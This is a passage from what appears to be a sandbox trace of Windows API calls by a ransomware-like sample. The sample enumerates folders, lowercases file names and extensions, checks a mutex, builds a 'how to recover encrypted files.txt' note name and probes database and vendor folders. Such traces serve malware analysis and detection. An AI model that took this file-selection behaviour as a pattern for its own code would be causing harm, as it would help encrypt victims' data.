(hMem=0x440004) returned 0x555b78 [0057.066] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.066] GlobalUnlock (hMem=0x44000c) returned 0 [0057.066] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.066] GlobalUnlock (hMem=0x440004) returned 0 [0057.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0057.066] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.066] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0057.066] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.066] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.066] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.066] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.066] GlobalUnlock (hMem=0x440004) returned 0 [0057.066] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.066] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.066] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.066] GlobalUnlock (hMem=0x440004) returned 0 [0057.066] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.066] GlobalUnlock (hMem=0x44000c) returned 0 [0057.067] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.067] CharLowerBuffW (in: lpsz="MSMAPI32.DLL", cchLength=0xc | out: lpsz="msmapi32.dll") returned 0xc [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", cchWideChar=61, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpUsedDefaultChar=0x0) returned 61 [0057.067] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllAPI\\1033\\MSMAPI32.DLL", lpUsedDefaultChar=0x0) returned 4 [0057.067] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0057.068] GetLastError () returned 0x12 [0057.068] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.068] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.068] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.068] GlobalUnlock (hMem=0x44000c) returned 0 [0057.068] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.068] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.068] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.068] GlobalUnlock (hMem=0x44000c) returned 0 [0057.068] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.068] GlobalUnlock (hMem=0x440004) returned 0 [0057.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0057.068] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.068] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.068] GlobalLock (hMem=0x440004) returned 0x550170 [0057.068] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.068] GlobalUnlock (hMem=0x440004) returned 0 [0057.068] GlobalLock (hMem=0x440004) returned 0x550170 [0057.068] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.068] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.068] GlobalUnlock (hMem=0x440004) returned 0 [0057.068] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.068] GlobalUnlock (hMem=0x44000c) returned 0 [0057.069] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.069] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.069] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.069] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.069] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.069] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.069] GlobalUnlock (hMem=0x44000c) returned 0 [0057.069] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.069] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.069] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.069] GlobalUnlock (hMem=0x44000c) returned 0 [0057.069] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.069] GlobalUnlock (hMem=0x440004) returned 0 [0057.069] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.069] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0057.069] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.069] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.069] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.069] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.069] GlobalUnlock (hMem=0x440004) returned 0 [0057.069] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.069] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.069] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.069] GlobalUnlock (hMem=0x440004) returned 0 [0057.069] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.069] GlobalUnlock (hMem=0x44000c) returned 0 [0057.069] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.070] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0057.070] GetLastError () returned 0x12 [0057.070] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.070] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0057.070] GetLastError () returned 0x12 [0057.070] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.070] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0057.070] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.070] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.070] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.070] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.070] GlobalUnlock (hMem=0x44000c) returned 0 [0057.071] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.071] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.071] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.071] GlobalUnlock (hMem=0x44000c) returned 0 [0057.071] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.071] GlobalUnlock (hMem=0x440004) returned 0 [0057.071] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.071] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.071] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.071] GlobalUnlock (hMem=0x440004) returned 0 [0057.071] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.071] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.071] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.071] GlobalUnlock (hMem=0x440004) returned 0 [0057.071] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.071] GlobalUnlock (hMem=0x44000c) returned 0 [0057.071] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.071] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB", len=0x2b | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\System\\Ole DB") returned 1 [0057.071] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.071] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.071] GlobalUnlock (hMem=0x44000c) returned 0 [0057.071] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.071] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.071] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.071] GlobalUnlock (hMem=0x44000c) returned 0 [0057.071] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.072] GlobalUnlock (hMem=0x440004) returned 0 [0057.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@聰R聄R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0057.076] GetLastError () returned 0x3 [0057.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0057.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@翬R企@\x18㿬Q\x181")) returned 0xffffffff [0057.079] GetLastError () returned 0x2 [0057.079] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0057.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@帜R企@\x18?T\x18;")) returned 0xffffffff [0057.081] GetLastError () returned 0x2 [0057.081] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0057.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@練R企@\x18?T\x18D")) returned 0xffffffff [0057.083] GetLastError () returned 0x2 [0057.083] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0057.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@翬R企@\x18帜R\x18j")) returned 0xffffffff [0057.085] GetLastError () returned 0x2 [0057.085] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0057.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0057.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@練R企@\x18?T\x18q")) returned 0xffffffff [0057.087] GetLastError () returned 0x2 [0057.087] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\帘RP") returned 6 [0057.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0057.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@劔U企@\x18?T\x18y")) returned 0xffffffff [0057.089] GetLastError () returned 0x2 [0057.089] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, 